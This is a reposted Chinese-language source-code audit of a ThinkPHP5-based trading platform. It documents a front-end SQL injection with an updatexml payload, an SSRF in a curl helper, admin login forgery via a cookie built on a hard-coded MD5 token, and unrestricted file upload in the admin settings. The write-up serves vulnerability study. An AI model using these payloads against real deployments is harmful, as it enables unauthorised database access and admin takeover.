某微盤源碼審計


前言:

在資源搜索網盤下載到了這套源碼,決定拿它練下手
分析一下代碼的邏輯,加深對一些常見漏洞的理解。如果有什么不對的地方,歡迎師傅們指出。
源碼是基於thinkphp5+mysql開發

前台SQL注入

漏洞位置 \application\index\controller\Goods.php

public function ajaxkdata()
    {
        //獲取k線圖數據,轉化為array

        $pid = input('param.pid');
        $data = Db::name('productdata')->where('pid='.$pid)->find();
        $newdata = array();
        if($data){
            $data['UpdateTime'] = $data['UpdateTime'];
            $newdata[0]['price'] = $data['Price'];
            $newdata[0]['open'] = $data['Open'];
            $newdata[0]['close'] = $data['Close'];
            $newdata[0]['lowest'] = $data['Low'];
            $newdata[0]['highest'] = $data['High'];
            $newdata[0]['time'] = $data['UpdateTime'].'000';
            $newdata[0]['fulltime'] = date('Y-m-d H:i:s',$data['UpdateTime']);
            $newdata[0]['goodtime'] = date('Y-m-d H:i:s',$data['UpdateTime']);

        }

        return $newdata;
    }

$pid變量用input,拼接進了where查詢,造成注入

payload:

SELECT * FROM xxxx WHERE ( pid=1) and updatexml(1,concat(0x7e,user(),0x7e),1) # ) LIMIT 1

SSRF

漏洞位置 \application\index\controller\Api.php

public function post_curl($url,$data){
  $ch = curl_init($url);
  curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
  curl_setopt($ch, CURLOPT_POSTFIELDS,$data);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  $result = curl_exec($ch);
  if (curl_errno($ch)) {
    print curl_error($ch);
  }
  curl_close($ch);
  return $result;
    }

這是典型的SSRF漏洞,代碼沒有過濾將傳入的url值帶入curl_exec函數造成SSRF

漏洞驗證:

管理后台登錄憑證偽造

漏洞位置 \application\admin\controller\Base.php

可以看到先是判斷有沒userid值,然后判斷token是不是'nimashabi'用MD5加密的值

這里在檢測otype是否等於3

otype userid的值可以在數據庫中得到,這樣就可以構造COOKIE進行登錄后台

payload:

think_var=zh-cn;denglu=think:{"otype":"3","userid":"1","token":"3c341b110c44ad9e7da4160e4f865b63"}

后台任意文件上傳

漏洞位置 \application\admin\controller\Setup.php

public function editconf()
    {


        if($this->otype != 3){
            echo '死你全家!';exit;
        }

        if(input('post.')){

            $data = input('post.');

            foreach ($data as $k => $v) {
                $arr = explode('_',$k);
                $_data['id'] = $arr[1];
                $_data['value'] = $v;
                $file = request()->file('pic_'.$_data['id']);

                if($file){

                    $info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
                    if($info){
                        $_data['value'] = '/public' . DS . 'uploads/'.$info->getSaveName();
                    }
                }
                if($_data['value'] == '' && isset($arr[2]) && $arr[2] == 3){
                    continue;
                }

                Db::name('config')->update($_data);

            }
            cache('conf',null);
            $this->success('編輯成功');
        }


    }

跟進file()函數

public function file($name = '')
    {
        if (empty($this->file)) {
            $this->file = isset($_FILES) ? $_FILES : [];
        }
        if (is_array($name)) {
            return $this->file = array_merge($this->file, $name);
        }
        $files = $this->file;
        if (!empty($files)) {
            // 處理上傳文件
            $array = [];
            foreach ($files as $key => $file) {
                if (is_array($file['name'])) {
                    $item  = [];
                    $keys  = array_keys($file);
                    $count = count($file['name']);
                    for ($i = 0; $i < $count; $i++) {
                        if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) {
                            continue;
                        }
                        $temp['key'] = $key;
                        foreach ($keys as $_key) {
                            $temp[$_key] = $file[$_key][$i];
                        }
                        $item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);
                    }
                    $array[$key] = $item;
                } else {
                    if ($file instanceof File) {
                        $array[$key] = $file;
                    } else {
                        if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {
                            continue;
                        }
                        $array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);
                    }
                }
            }
            if (strpos($name, '.')) {
                list($name, $sub) = explode('.', $name);
            }
            if ('' === $name) {
                // 獲取全部文件
                return $array;
            } elseif (isset($sub) && isset($array[$name][$sub])) {
                return $array[$name][$sub];
            } elseif (isset($array[$name])) {
                return $array[$name];
            }
        }
        return;
    }

可以看到處理上傳文件並沒有過濾,最終上傳的文件move到/public/uploads/目錄下。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM